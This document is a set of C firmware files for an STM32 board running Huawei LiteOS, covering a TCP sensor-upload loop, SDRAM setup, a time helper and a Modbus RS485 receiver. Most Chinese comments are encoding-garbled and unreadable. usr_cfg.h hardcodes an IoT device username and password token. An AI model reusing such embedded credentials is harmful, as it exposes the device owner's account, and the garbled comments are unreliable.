LOS_TaskDelay(1000);
}
}
UINT32 creat_task2()
{
UINT32 uwRet = LOS_OK;
TSK_INIT_PARAM_S task_init_param;
task_init_param.usTaskPrio = 0;
task_init_param.pcName = "task2";
task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)task2;
task_init_param.uwStackSize = 0x400;
uwRet = LOS_TaskCreate(&g_TskHandle, &task_init_param);
if(LOS_OK != uwRet)
{
return uwRet;
}
return uwRet;
}
const char text1[]="{\n\"Project\": \"HuaweiLiteOS oneNET\", \n\"format\": {\"type\": \"rect\", \n\"width\": 1920, \n\"height\": 1080, \n\"interlace\": false,\"frame rate\": 24\n}\n}";
VOID task3()
{
int count = 0;
int count1 = 0;
int count2 = 0;
int sum=0;
unsigned int count3 = 0;
uint8_t flag=0;
cJSON *tmp;
printf("LAN8720A Ethernet Demo\n");
printf(" KEY1: ๅฏๅจTCP่ฟๆฅ\n");
printf(" KEY2: ๆญๅผTCP่ฟๆฅ\n");
//IPๅฐๅๅ็ซฏๅฃๅฏๅจnetconf.hๆไปถไฟฎๆน๏ผๆ่
ไฝฟ็จDHCPๆๅก่ชๅจ่ทๅIP(้่ฆ่ทฏ็ฑๅจๆฏๆ)
printf("ๆฌๅฐIPๅ็ซฏๅฃ: %d.%d.%d.%d\n",IP_ADDR0,IP_ADDR1,IP_ADDR2,IP_ADDR3);
printf("่ฟ็ซฏIPๅ็ซฏๅฃ: %d.%d.%d.%d:%d\n",DEST_IP_ADDR0, DEST_IP_ADDR1, DEST_IP_ADDR2, DEST_IP_ADDR3,DEST_PORT);
/* Initilaize the LwIP stack */
LwIP_Init();
json=cJSON_Parse(text1);
if (json != NULL)
{
//tmp = cJSON_GetObjectItem(json,"format");
tmp = cJSON_GetObjectItem(json,"Project");
if(tmp != NULL)
{
printf("cJSON:Project=%s\n",tmp->valuestring);
//cJSON_Delete(tmp);
}
}
tcp_echoclient_connect();
int flag1=0;
int flag2=1;
while(1)
{
Key_RefreshState(&Key1);//ๅทๆฐๆ้ฎ็ถๆ
Key_RefreshState(&Key2);//ๅทๆฐๆ้ฎ็ถๆ
if(count1++>30500)
{
mainDHT11();count1=0;
}
if(count++>30500&&flag2==1)
{
GETdata();//่ทๅๆฐๆฎ
count=0;
flag1=1;
flag2=0;
}
if(count2++>30500&&flag1==1)
{
MCU_to_TCP();//ไธไผ ๆฐๆฎ
flag1=0;
flag2=1;
count2=0;
}
recDataAnalyze();//่งฃๆๆฅๆถๅฐ็ๆฐๆฎ
if((Key_Scan(KEY1_GPIO_PORT,KEY1_PIN)==KEY_ON) )
{
Delay10ms(100);
MCU_to_TCP();
}
if(flag==0)//(Key_Scan(KEY1_GPIO_PORT,KEY1_PIN)==KEY_ON) &&
{
LED33=~LED33;
if (EthLinkStatus == 0)
{
printf("connect to tcp server\n");
/*connect to tcp server */
tcp_echoclient_connect();//่ฟๆฅๆๅกๅจ
flag=1;
}
}
if(count3++>500000)//ๆๅกๅจๅฟ่ทณ๏ผ้ฒๆญขๅ้ๆฐๆฎๅบ้ๆถๆญๅผๆๅก
{
sum++;
printf("RESET tcp server:%d\n",sum);
tcp_echoclient_disconnect();//ๆญๅผๆๅกๅจ
LOS_TaskDelay(2);
/*connect to tcp server */
tcp_echoclient_connect();//่ฟๆฅๆๅกๅจ
LOS_TaskDelay(2);
count3=0;
}
if((Key_Scan(KEY2_GPIO_PORT,KEY2_PIN)==KEY_ON) && flag==1)
{
LED33=~LED33;
tcp_echoclient_disconnect();
flag=0;
}
/* check if any packet received */
if (ETH_CheckFrameReceived())
{
/* process received ethernet packet */
LwIP_Pkt_Handle();
}
/* handle periodic timers for LwIP */
LwIP_Periodic_Handle(LocalTime);
}
}
UINT32 creat_task3()
{
UINT32 uwRet = LOS_OK;
TSK_INIT_PARAM_S task_init_param;
task_init_param.usTaskPrio = 0;
task_init_param.pcName = "task3";
task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)task3;
task_init_param.uwStackSize = 0x400;
uwRet = LOS_TaskCreate(&g_TskHandle, &task_init_param);
if(LOS_OK != uwRet)
{
return uwRet;
}
return uwRet;
}
UINT32 creat_task_18b20()
{
UINT32 uwRet = LOS_OK;
TSK_INIT_PARAM_S task_init_param;
task_init_param.usTaskPrio = 0;
task_init_param.pcName = "maindsp18b20";
task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)maindsp18b20;
task_init_param.uwStackSize = 0x400;
uwRet = LOS_TaskCreate(&g_TskHandle, &task_init_param);
if(LOS_OK != uwRet)
{
return uwRet;
}
return uwRet;
}
/*UINT32 creat_MCU_TO_TCP()
{
UINT32 uwRet = LOS_OK;
TSK_INIT_PARAM_S task_init_param;
task_init_param.usTaskPrio = 0;
task_init_param.pcName = "GETdata";
task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)GETdata;
task_init_param.uwStackSize = 0x400;
uwRet = LOS_TaskCreate(&g_TskHandle, &task_init_param);
if(LOS_OK != uwRet)
{
return uwRet;
}
return uwRet;
}*/
int main(void)
{
UINT32 uwRet = LOS_OK;
LOS_KernelInit();//?????
hardware_init();//?????
// uwRet = creat_task1();
//if(uwRet != LOS_OK)
//{
// return uwRet;
//}
/*uwRet = creat_task_18b20();
if(uwRet != LOS_OK)
{
return uwRet;
}*/
uwRet = creat_task3();
if(uwRet != LOS_OK)
{
return uwRet;
}
/* uwRet = mainDHT11task();
if(uwRet != LOS_OK)
{
return uwRet;
}*/
/*uwRet = creat_MCU_TO_TCP();
if(uwRet != LOS_OK)
{
return uwRet;
}*/
LOS_Start();//??LiteOS
}
/**
* @brief ้็จๅฎๆถๅจ3ไธญๆญๅๅงๅ
* @param period : ่ชๅจ้่ฃ
ๅผใ
* @param prescaler : ๆถ้้ขๅ้ขๆฐ
* @retval ๆ
* @note ๅฎๆถๅจๆบขๅบๆถ้ด่ฎก็ฎๆนๆณ:Tout=((period+1)*(prescaler+1))/Ft us.
* Ft=ๅฎๆถๅจๅทฅไฝ้ข็,ไธบSystemCoreClock/2=90,ๅไฝ:Mhz
*/
static void TIM3_Config(uint16_t period,uint16_t prescaler)
{
TIM_TimeBaseInitTypeDef TIM_TimeBaseInitStructure;
NVIC_InitTypeDef NVIC_InitStructure;
RCC_APB1PeriphClockCmd(RCC_APB1Periph_TIM3,ENABLE); ///ไฝฟ่ฝTIM3ๆถ้
TIM_TimeBaseInitStructure.TIM_Prescaler=prescaler; //ๅฎๆถๅจๅ้ข
TIM_TimeBaseInitStructure.TIM_CounterMode=TIM_CounterMode_Up; //ๅไธ่ฎกๆฐๆจกๅผ
TIM_TimeBaseInitStructure.TIM_Period=period; //่ชๅจ้่ฃ
่ฝฝๅผ
TIM_TimeBaseInitStructure.TIM_ClockDivision=TIM_CKD_DIV1;
TIM_TimeBaseInit(TIM3,&TIM_TimeBaseInitStructure);
TIM_ITConfig(TIM3,TIM_IT_Update,ENABLE); //ๅ
่ฎธๅฎๆถๅจ3ๆดๆฐไธญๆญ
TIM_Cmd(TIM3,ENABLE); //ไฝฟ่ฝๅฎๆถๅจ3
NVIC_InitStructure.NVIC_IRQChannel=TIM3_IRQn; //ๅฎๆถๅจ3ไธญๆญ
NVIC_InitStructure.NVIC_IRQChannelPreemptionPriority=0x01; //ๆขๅ ไผๅ
็บง1
NVIC_InitStructure.NVIC_IRQChannelSubPriority=0x03; //ๅญไผๅ
็บง3
NVIC_InitStructure.NVIC_IRQChannelCmd=ENABLE;
NVIC_Init(&NVIC_InitStructure);
}
/**
* @brief ๅฎๆถๅจ3ไธญๆญๆๅกๅฝๆฐ
* @param ๆ
* @retval ๆ
*/
void TIM3_IRQHandler(void)
{
if(TIM_GetITStatus(TIM3,TIM_IT_Update)==SET) //ๆบขๅบไธญๆญ
{
LocalTime+=10;//10msๅข้
}
TIM_ClearITPendingBit(TIM3,TIM_IT_Update); //ๆธ
้คไธญๆญๆ ๅฟไฝ
}
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
```
usr_cfg.h
```/******************************************************************************
* File : usr_cfg.h
* Function : Configuration of user.
* Description: Input Product ID, Device name, User Name, Password, Client ID
* Publish topic and Subscribe topic.
* Version : V1.00
* Author : Ian
* Date : 13th May 2018
* History : No. When Who What
* 1 13/May/2018 Ian Create
******************************************************************************/
#ifndef _USR_CFG_H_
#define _USR_CFG_H_
#ifdef __cplusplus
extern "C" {
#endif
#define LOS_IOT_PRODUCT_ID "DXJQTLK47X"
#define LOS_IOT_DEV_NAME "Sensor1"
#define LOS_IOT_USR_NAME "DXJQTLK47XSensor1;21010406;12365;1526407892"
#define LOS_IOT_PASSWORD "60c5b920b2f12b0fbe162a9f5a0092d5c057bd73;hmacsha1"
#define LOS_IOT_PUB_DATA "LiteOS for IoT!!"
#define LOS_IOT_CLIENT_ID "DXJQTLK47XSensor1"
#define LOS_IOT_PUB_TOPIC "DXJQTLK47X/Sensor1/event"
#define LOS_IOT_SUB_TOPIC "DXJQTLK47X/Sensor1/control"
#define LOS_IOT_LOCAL_IP1 192
#define LOS_IOT_LOCAL_IP2 168
#define LOS_IOT_LOCAL_IP3 31
#define LOS_IOT_LOCAL_IP4 195
#define LOS_IOT_GW1 192
#define LOS_IOT_GW2 168
#define LOS_IOT_GW3 31
#define LOS_IOT_GW4 1
#ifdef __cplusplus
}
#endif
#endif /* _USR_CFG_H_ */
/* End of file */
```
agenttime_liteos.c
```// Copyright (c) Microsoft. All rights reserved.
// Licensed under the MIT license. See LICENSE file in the project root for full license information.
#include "azure_c_shared_utility/gballoc.h"
#include <time.h>
#include "azure_c_shared_utility/agenttime.h"
#include "bsp_rtc.h"
#include "los_task.h"
static time_t system_time = 0;
void sntp_set_system_time(time_t t)
{
LOS_TaskLock();
system_time = t;
LOS_TaskUnlock();
printf("current time = %lu\r\n", system_time);
}
unsigned long
liteos_mktime(const unsigned int year0, const unsigned int mon0,
const unsigned int day, const unsigned int hour,
const unsigned int min, const unsigned int sec)
{
unsigned int mon = mon0, year = year0;
/* 1..12 -> 11,12,1..10 */
if (0 >= (int) (mon -= 2)) {
mon += 12; /* Puts Feb last since it has leap day */
year -= 1;
}
return ((((unsigned long)
(year/4 - year/100 + year/400 + 367*mon/12 + day) +
year*365 - 719499
)*24 + hour /* now have hours */
)*60 + min /* now have minutes */
)*60 + sec; /* finally seconds */
}
time_t get_time(time_t* p)
{
time_t t;
LOS_TaskLock();
t = system_time;
if (p)
{
*p = t;
}
LOS_TaskUnlock();
return t;
}
struct tm* get_gmtime(time_t* currentTime)
{
return 0;//gmtime(currentTime);
}
time_t get_mktime(struct tm* cal_time)
{
return 0;// mktime(cal_time);
}
char* get_ctime(time_t* timeToGet)
{
return 0;//ctime(timeToGet);
}
double get_difftime(time_t stopTime, time_t startTime)
{
return (double)(stopTime - startTime);
}```
bsp_sdram.c
```#include "bsp_sdram.h"
#define REFRESH_COUNT ((uint32_t)0x056A) /* SDRAM refresh counter (90MHz SDRAM clock) */
SDRAM_HandleTypeDef hsdram;
FMC_SDRAM_TimingTypeDef SDRAM_Timing;
FMC_SDRAM_CommandTypeDef command;
static void SDRAM_Initialization_Sequence(SDRAM_HandleTypeDef *hsdram, FMC_SDRAM_CommandTypeDef *Command);
void SDRAM_Init(void)
{
/*##-1- Configure the SDRAM device #########################################*/
/* SDRAM device configuration */
hsdram.Instance = FMC_SDRAM_DEVICE;
/* Timing configuration for 90 MHz of SDRAM clock frequency (180MHz/2) */
/* TMRD: 2 Clock cycles */
SDRAM_Timing.LoadToActiveDelay = 2;
/* TXSR: min=70ns (6x11.90ns) */
SDRAM_Timing.ExitSelfRefreshDelay = 7;
/* TRAS: min=42ns (4x11.90ns) max=120k (ns) */
SDRAM_Timing.SelfRefreshTime = 4;
/* TRC: min=63 (6x11.90ns) */
SDRAM_Timing.RowCycleDelay = 7;
/* TWR: 2 Clock cycles */
SDRAM_Timing.WriteRecoveryTime = 2;
/* TRP: 15ns => 2x11.90ns */
SDRAM_Timing.RPDelay = 2;
/* TRCD: 15ns => 2x11.90ns */
SDRAM_Timing.RCDDelay = 2;
hsdram.Init.SDBank = FMC_SDRAM_BANK2;
hsdram.Init.ColumnBitsNumber = FMC_SDRAM_COLUMN_BITS_NUM_8;
hsdram.Init.RowBitsNumber = FMC_SDRAM_ROW_BITS_NUM_12;
hsdram.Init.MemoryDataWidth = SDRAM_MEMORY_WIDTH;
hsdram.Init.InternalBankNumber = FMC_SDRAM_INTERN_BANKS_NUM_4;
hsdram.Init.CASLatency = FMC_SDRAM_CAS_LATENCY_3;
hsdram.Init.WriteProtection = FMC_SDRAM_WRITE_PROTECTION_DISABLE;
hsdram.Init.SDClockPeriod = SDCLOCK_PERIOD;
hsdram.Init.ReadBurst = FMC_SDRAM_RBURST_DISABLE;
hsdram.Init.ReadPipeDelay = FMC_SDRAM_RPIPE_DELAY_1;
/* Initialize the SDRAM controller */
if(HAL_SDRAM_Init(&hsdram, &SDRAM_Timing) != HAL_OK)
{
/* Initialization Error */
Error_Handler();
}
/* Program the SDRAM external device */
SDRAM_Initialization_Sequence(&hsdram, &command);
}
static void SDRAM_Initialization_Sequence(SDRAM_HandleTypeDef *hsdram, FMC_SDRAM_CommandTypeDef *Command)
{
__IO uint32_t tmpmrd =0;
/* Step 3: Configure a clock configuration enable command */
Command->CommandMode = FMC_SDRAM_CMD_CLK_ENABLE;
Command->CommandTarget = FMC_SDRAM_CMD_TARGET_BANK2;
Command->AutoRefreshNumber = 1;
Command->ModeRegisterDefinition = 0;
/* Send the command */
HAL_SDRAM_SendCommand(hsdram, Command, 0x1000);
/* Step 4: Insert 100 ms delay */
HAL_Delay(100);
/* Step 5: Configure a PALL (precharge all) command */
Command->CommandMode = FMC_SDRAM_CMD_PALL;
Command->CommandTarget = FMC_SDRAM_CMD_TARGET_BANK2;
Command->AutoRefreshNumber = 1;
Command->ModeRegisterDefinition = 0;
/* Send the command */
HAL_SDRAM_SendCommand(hsdram, Command, 0x1000);
/* Step 6 : Configure a Auto-Refresh command */
Command->CommandMode = FMC_SDRAM_CMD_AUTOREFRESH_MODE;
Command->CommandTarget = FMC_SDRAM_CMD_TARGET_BANK2;
Command->AutoRefreshNumber = 4;
Command->ModeRegisterDefinition = 0;
/* Send the command */
HAL_SDRAM_SendCommand(hsdram, Command, 0x1000);
/* Step 7: Program the external memory mode register */
tmpmrd = (uint32_t)SDRAM_MODEREG_BURST_LENGTH_2 |
SDRAM_MODEREG_BURST_TYPE_SEQUENTIAL |
SDRAM_MODEREG_CAS_LATENCY_3 |
SDRAM_MODEREG_OPERATING_MODE_STANDARD |
SDRAM_MODEREG_WRITEBURST_MODE_SINGLE;
Command->CommandMode = FMC_SDRAM_CMD_LOAD_MODE;
Command->CommandTarget = FMC_SDRAM_CMD_TARGET_BANK2;
Command->AutoRefreshNumber = 1;
Command->ModeRegisterDefinition = tmpmrd;
/* Send the command */
HAL_SDRAM_SendCommand(hsdram, Command, 0x1000);
/* Step 8: Set the refresh rate counter */
/* (15.62 us x Freq) - 20 */
/* Set the device refresh counter */
HAL_SDRAM_ProgramRefreshRate(hsdram, REFRESH_COUNT);
}
```
modbus.c
```/**
* @file modbus.c
*/
// Std Lib
#include <string.h>
// LiteOS
#include "los_hwi.h"
// Personal
#include "modbus.h"
#include "bsp_led.h"
/* extern define ----------------------------------------------------------*/
/* Private typedef -----------------------------------------------------------*/
/* Private define ------------------------------------------------------------*/
/* Private macro -------------------------------------------------------------*/
#ifndef Min
#define Min(a,b) (((a) < (b)) ? (a) : (b))
#endif
#ifndef MAKEWORD
#define MAKEWORD(a, b) ((uint16_t)((a&0x00FF) | ((uint16_t)(b&0x00FF)) << 8))
#endif
#define Modbus_Crc16(pBuff, c) crc16_ex(&(c), 1, &(pBuff)->modbusRxCRC)
/* Private variables ---------------------------------------------------------*/
uint8_t uBuffRecv[NUM_RX_BUFF];
uint16_t uRecvLen=0;
/* public variables ---------------------------------------------------------*/
TBuffModbus stBufModbus;
TMotor stMotor; /** ็ตๅจๆบ็ถๆไฟกๆฏ */
TDateTime stNowTime; /** ่ฝฏไปถๆจกๆ็ไธไธช os ๆฅๆ + ๆถ้ด, ็ฒพ็กฎๅฐ ms */
/* Private function prototypes -----------------------------------------------*/
static void Modbus_OnReceiveOneByte(TBuffModbus *pBuff, uint8_t uChar);
/* Function ------------------------------------------------------------------*/
void USART2_IRQHandler(void);
/** For Calc CRC */
const uint16_t crc16_xtab[256] =
{
0x0000, 0xc0c1, 0xc181, 0x0140, 0xc301, 0x03c0, 0x0280, 0xc241,
0xc601, 0x06c0, 0x0780, 0xc741, 0x0500, 0xc5c1, 0xc481, 0x0440,
0xcc01, 0x0cc0, 0x0d80, 0xcd41, 0x0f00, 0xcfc1, 0xce81, 0x0e40,
0x0a00, 0xcac1, 0xcb81, 0x0b40, 0xc901, 0x09c0, 0x0880, 0xc841,
0xd801, 0x18c0, 0x1980, 0xd941, 0x1b00, 0xdbc1, 0xda81, 0x1a40,
0x1e00, 0xdec1, 0xdf81, 0x1f40, 0xdd01, 0x1dc0, 0x1c80, 0xdc41,
0x1400, 0xd4c1, 0xd581, 0x1540, 0xd701, 0x17c0, 0x1680, 0xd641,
0xd201, 0x12c0, 0x1380, 0xd341, 0x1100, 0xd1c1, 0xd081, 0x1040,
0xf001, 0x30c0, 0x3180, 0xf141, 0x3300, 0xf3c1, 0xf281, 0x3240,
0x3600, 0xf6c1, 0xf781, 0x3740, 0xf501, 0x35c0, 0x3480, 0xf441,
0x3c00, 0xfcc1, 0xfd81, 0x3d40, 0xff01, 0x3fc0, 0x3e80, 0xfe41,
0xfa01, 0x3ac0, 0x3b80, 0xfb41, 0x3900, 0xf9c1, 0xf881, 0x3840,
0x2800, 0xe8c1, 0xe981, 0x2940, 0xeb01, 0x2bc0, 0x2a80, 0xea41,
0xee01, 0x2ec0, 0x2f80, 0xef41, 0x2d00, 0xedc1, 0xec81, 0x2c40,
0xe401, 0x24c0, 0x2580, 0xe541, 0x2700, 0xe7c1, 0xe681, 0x2640,
0x2200, 0xe2c1, 0xe381, 0x2340, 0xe101, 0x21c0, 0x2080, 0xe041,
0xa001, 0x60c0, 0x6180, 0xa141, 0x6300, 0xa3c1, 0xa281, 0x6240,
0x6600, 0xa6c1, 0xa781, 0x6740, 0xa501, 0x65c0, 0x6480, 0xa441,
0x6c00, 0xacc1, 0xad81, 0x6d40, 0xaf01, 0x6fc0, 0x6e80, 0xae41,
0xaa01, 0x6ac0, 0x6b80, 0xab41, 0x6900, 0xa9c1, 0xa881, 0x6840,
0x7800, 0xb8c1, 0xb981, 0x7940, 0xbb01, 0x7bc0, 0x7a80, 0xba41,
0xbe01, 0x7ec0, 0x7f80, 0xbf41, 0x7d00, 0xbdc1, 0xbc81, 0x7c40,
0xb401, 0x74c0, 0x7580, 0xb541, 0x7700, 0xb7c1, 0xb681, 0x7640,
0x7200, 0xb2c1, 0xb381, 0x7340, 0xb101, 0x71c0, 0x7080, 0xb041,
0x5000, 0x90c1, 0x9181, 0x5140, 0x9301, 0x53c0, 0x5280, 0x9241,
0x9601, 0x56c0, 0x5780, 0x9741, 0x5500, 0x95c1, 0x9481, 0x5440,
0x9c01, 0x5cc0, 0x5d80, 0x9d41, 0x5f00, 0x9fc1, 0x9e81, 0x5e40,
0x5a00, 0x9ac1, 0x9b81, 0x5b40, 0x9901, 0x59c0, 0x5880, 0x9841,
0x8801, 0x48c0, 0x4980, 0x8941, 0x4b00, 0x8bc1, 0x8a81, 0x4a40,
0x4e00, 0x8ec1, 0x8f81, 0x4f40, 0x8d01, 0x4dc0, 0x4c80, 0x8c41,
0x4400, 0x84c1, 0x8581, 0x4540, 0x8701, 0x47c0, 0x4680, 0x8641,
0x8201, 0x42c0, 0x4380, 0x8341, 0x4100, 0x81c1, 0x8081, 0x4040
};
/** Calc CRC */
void crc16_ex(uint8_t * buf, uint32_t len, uint16_t * crc)
{
while (len--)
{
*crc = ((*crc) >> 8) ^ crc16_xtab[ ((*crc) ^ (*buf&0x00ff))&0x00ff ];
buf++;
}
}
/**
* usart2 for RS485
*/
void RS485_USART2_Config(void)
{
GPIO_InitTypeDef GPIO_InitStructure;
USART_InitTypeDef USART_InitStructure;
NVIC_InitTypeDef NVIC_InitStructure;
RCC_AHB1PeriphClockCmd( RS485_USART_RX_GPIO_CLK|RS485_USART_TX_GPIO_CLK, ENABLE);
/* Enable UART2 clock */
RCC_APB1PeriphClockCmd(RS485_USART_CLK, ENABLE);
/* Connect PXx to USARTx_Tx*/
GPIO_PinAFConfig(RS485_USART_RX_GPIO_PORT, RS485_USART_RX_SOURCE, RS485_USART_RX_AF);
/* Connect PXx to USARTx_Rx*/
GPIO_PinAFConfig(RS485_USART_TX_GPIO_PORT, RS485_USART_TX_SOURCE, RS485_USART_TX_AF);
/* Configure USART Tx as alternate function */
GPIO_InitStructure.GPIO_OType = GPIO_OType_PP;
GPIO_InitStructure.GPIO_PuPd = GPIO_PuPd_UP;
GPIO_InitStructure.GPIO_Mode = GPIO_Mode_AF;
GPIO_InitStructure.GPIO_Pin = RS485_USART_TX_PIN ;
GPIO_InitStructure.GPIO_Speed = GPIO_Speed_50MHz;
GPIO_Init(RS485_USART_TX_GPIO_PORT, &GPIO_InitStructure);
/* Configure USART Rx as alternate function */
GPIO_InitStructure.GPIO_Mode = GPIO_Mode_AF;
GPIO_InitStructure.GPIO_Pin = RS485_USART_RX_PIN;
GPIO_Init(RS485_USART_RX_GPIO_PORT, &GPIO_InitStructure);
/* USART2 mode config */
USART_InitStructure.USART_BaudRate = RS485_USART_BAUDRATE;
USART_InitStructure.USART_WordLength = USART_WordLength_8b;
USART_InitStructure.USART_StopBits = USART_StopBits_1;
USART_InitStructure.USART_Parity = USART_Parity_No ;
USART_InitStructure.USART_HardwareFlowControl = USART_HardwareFlowControl_None;
USART_InitStructure.USART_Mode = USART_Mode_Rx | USART_Mode_Tx;
USART_Init(RS485_USART, &USART_InitStructure);
USART_Cmd(RS485_USART, ENABLE);
USART_ClearFlag(RS485_USART, USART_FLAG_TC);
/** ๆณจๅ USART2 ไธญๆญ */
LOS_HwiCreate(USART2_IRQn, 0, 0, USART2_IRQHandler, NULL);
/** ้
็ฝฎ USART2 ็ๆฅๆถไธญๆญ - USART2_IRQn */
NVIC_InitStructure.NVIC_IRQChannel=USART2_IRQn; //ไธญๆญ
NVIC_InitStructure.NVIC_IRQChannelPreemptionPriority=0x01; //ๆขๅ ไผๅ
็บง1
NVIC_InitStructure.NVIC_IRQChannelSubPriority=0x00; //ๅญไผๅ
็บง 0
NVIC_InitStructure.NVIC_IRQChannelCmd=ENABLE;
NVIC_Init(&NVIC_InitStructure);
USART_ITConfig(RS485_USART, USART_IT_RXNE, ENABLE); //Receive Data register not empty interrupt
}
/**
* 1. usart2 ไธญๆญๆฅๆถไฝฟ่ฝ, ๅช้่ฆๆฅๆถ LPC ไธ้็rs485 ๆฐๆฎ
* 2. USART2 ๆฏๆฌกไธญๆญ ไป
ไผๆฅๆถ 1 ไธช byte ็ๆฐๆฎ, ๆไปฅๆฏๆฌก่ฟๅ
ฅไธญๆญ uRecvLen++ ๅบๆฌ
* ๅฐฑ่ฝๅๅบๅบไธฒๅฃๆถๅฐ็ไธๆฎตๅญ็ฌฆไธฒ็ๆป้ฟๅบฆไบ.
*/
void USART2_IRQHandler(void)
{
/** Clear Int Flag */
/** RXNE pending bit can be also cleared by a read to the USART_DR register (USART_ReceiveData()) */
if(USART_GetITStatus(RS485_USART, USART_IT_RXNE) != RESET)
{
//uBuffRecv[uCountRecv++] = USART_ReceiveData(RS485_USART);
uBuffRecv[uRecvLen++] = USART_ReceiveData(RS485_USART);
//uCountRecv &= 0x7F; /** ็ฏๅๆฐ็ปไธๆ ็ๅค็, ่ฟ้ๆฏไธ่ฝฎๆฅๆถๅนถๅค็่ฟๅญ็ฌฆไธฒไนๅ, uBuffRecv[] ็ไธๆ index ไผ้ๆฐ่ฐๆดๅฐ 0 ไธๆ , ๆไปฅไธ็จ่่ๅๆฐ็ป่ถ
่ฟไธๅ็ๆ
ๅต */
uRecvLen &= 0x7F;
}
if(USART_GetFlagStatus(RS485_USART, USART_FLAG_ORE) == SET ) // if ๆบขๅบ
{
USART_ClearFlag(RS485_USART, USART_FLAG_ORE);
USART_ReceiveData(RS485_USART);
}
}
/**
* Receive - Step1.
* 1. @param uint8_t *pRecv , ไธฒๅฃไธญๆญๆฅๆถ็ผๅญๆฐๆฎ้ฆๅฐๅ
* @parma uint16_t uLen , ๅไธๆฌกๅฎๆด็ไธฒๅฃไธญๆญๆฅๆถๅฐ็ byte ๆฐๆฎ้ฟๅบฆ, ๅฏนๅบ uBuffRecv
*/
void Moubus_OnRecvive(TBuffModbus *pBuff)
{
uint16_t i=0;
/**
* 1. ๆฏๆฌกๆฅๆถๅฎ uBuffRecv[] ไธฒๅฃไธญๆญ็ผๅญๆฐๆฎไนๅ, ไผๅฏน uRecvLen / uCountRecv ๅๆธ
้ถๆไฝ,
* ๅฏน uCountRecv ็ๆธ
้ถๆไฝ่กจ็คบ uBuffRecv[] ไธๆ ๆขๅคๅฐ 0 ๅผๅง,
* ๅๆถ่ฆๅฏน uBuffRecv[] ๅ
จ้จๆธ
้ถ, ไปฅๅคไธๆฌกไธฒๅฃไธญๆญๆฅๆถๆฐๆฎ
*/
// if(0 == uLen)
if(0 == uRecvLen)
{
RS485_RX_ON_TX_OFF;
return; /** ่กจ็คบไธฒๅฃไธญๆญๆ ๆฐๅฐ่พพ็ๆฐๆฎ, ไธ็กฎไฟ ไธฒๅฃๆฅๆถไฝฟ่ฝ */
}
/** ๅค็ๅไธๆฌกไธฒๅฃๆฅๅฐ็ๅ
จ้จๆฐๆฎ, ๆไปฅๅ
disable ไธฒๅฃๆฅๆถ, ๅฝ่งฃๆๅฎๆฏๅๅ enable... */
RS485_TX_ON_RX_OFF;
/** ๅผๅงๅค็ๅไธๆฌก็ไธฒๅฃไธญๆญๆฅๆถๆฅ็ๅ
จ้จๆฐๆฎ, */
/** 1. ่ฟ้ uLen ้ฟๅบฆ == uRecvLen */
for(i=0; i< uRecvLen; i++)
{
Modbus_OnReceiveOneByte(pBuff, uBuffRecv[i]);
}
uRecvLen = 0;
memset(uBuffRecv, 0, sizeof(uBuffRecv));
RS485_RX_ON_TX_OFF;
/** ๅไธๆฌกไธฒๅฃๆฐๆฎๅ
จ้จๆฏไธช byte ่งฃๆๅฎๆฏ, ๆ นๆฎๆฏๅฆๆฏไธไธชๆๆๆฅๆ packet ๅณๅฎไธไธๆญฅ */
/** 1. ่ฅๆฏไธๅธงๅฎๆด็ๆฅๆ, ๅไผๆ CRC ๆ ก้ช ok */
}
/**
* Receive - Step2.
* 1.ๅไธชๅญ่่งฃๆๆฅๆถๅฐ็ๆฅๆ
*/
static void Modbus_OnReceiveOneByte(TBuffModbus *pBuff, uint8_t uChar)
{
uint16_t uCRC;
if(pBuff->bSend==FALSE && pBuff->bNew==FALSE && pBuff->RxCount<NUM_RX_BUFF)
{
/** ไธๅจๅ้็ถๆ, ๅนถไธๅฝๅๆฒกๆๆฐ็ๆฅๆpacket */
/** ๆธ
่ถ
ๆถ่ฎกๆฐ */
//pBuff->RxTimer = 0;
pBuff->RxBuff[pBuff->RxCount++] = uChar;
if(0x01 == pBuff->RxCount) /** 1. ไปๆบ modbus ๅฐๅ */
{
if(MODBUS_ADDRESS_SLAVE == uChar)
{
pBuff->modbusRxCRC = 0xFFFF;
Modbus_Crc16(pBuff, uChar);
}
else
{
pBuff->RxCount = 0x00;
}
}
else if(0x02 == pBuff->RxCount) /** 2. ๅ่ฝ็ */
{
if(MODBUS_03 == uChar)
{
pBuff->modbusCode = uChar;
Modbus_Crc16(pBuff, uChar);
}
else
{
pBuff->RxCount = 0x00;
}
}
else if(0x03 == pBuff->RxCount) /** ๆฐๆฎ้ฟๅบฆ bytes */
{
/** ๆ นๆฎๅ่ฝ็ ไธๅ, ๅค็ๆนๅผๅไธ็ธๅ */
switch(pBuff->modbusCode)
{
case MODBUS_03:
{
pBuff->RxLen = 0x06;
break;
}
default:
break;
}
Modbus_Crc16(pBuff, uChar);
}
else if(pBuff->RxCount>=4 && pBuff->RxCount<=pBuff->RxLen) /** ๆฐๆฎ DU ๅ */
{
Modbus_Crc16(pBuff, uChar);
}
else if(pBuff->RxCount == (pBuff->RxLen+2)) /** CRC ๆ ก้ช 2 bytes */
{
uCRC = MAKEWORD(pBuff->RxBuff[pBuff->RxCount-2], uChar);
if(pBuff->modbusRxCRC == uCRC)
{
pBuff->bNew = TRUE; /** CRC ๆ ก้ชๅฎๆฏไนๅ, ไผๆ ่ฎฐๆๆฐ็ ๆฅๆ */
}
else
{
pBuff->RxCount = 0x00;
}
}
}//if(pBuff->bSend==FALSE ...)
}
/***/
void Modbus_OnSendByFIFO(uint8_t *pSendBuf, uint16_t uSendLen)
{
uint16_t uSeq;
RS485_TX_ON_RX_OFF; /** Enable Send Mode */
for(uSeq = 0; uSeq < uSendLen; uSeq++)
{
USART_SendData(RS485_USART, pSendBuf[uSeq]);
while( USART_GetFlagStatus(RS485_USART, USART_FLAG_TXE) == RESET );
}
}
/**
* @2018-05-19
* 1. stm32 send ๆฐๆฎๆถๅฏไปฅไธ่่ๅ้ fifo ็ๆ
ๅต, ่ฟไธชๅฝๆฐไธญ, ๅ
จ้จๅพ
ๅ้็ๆฐๆฎ้ฝๆฏ 1 ๆฌก้ปๅกๅจ Modbus_OnSendByFIFO()
* ๅฝๆฐไธญๅ
จ้จๅ้ๅฎๆฏ, ็ถๅๆ็ปๆๅ้้ปๅก.
*/
void Modbus_OnSend(TBuffModbus *pBuff)
{
uint16_t uSendPerLeft=0;
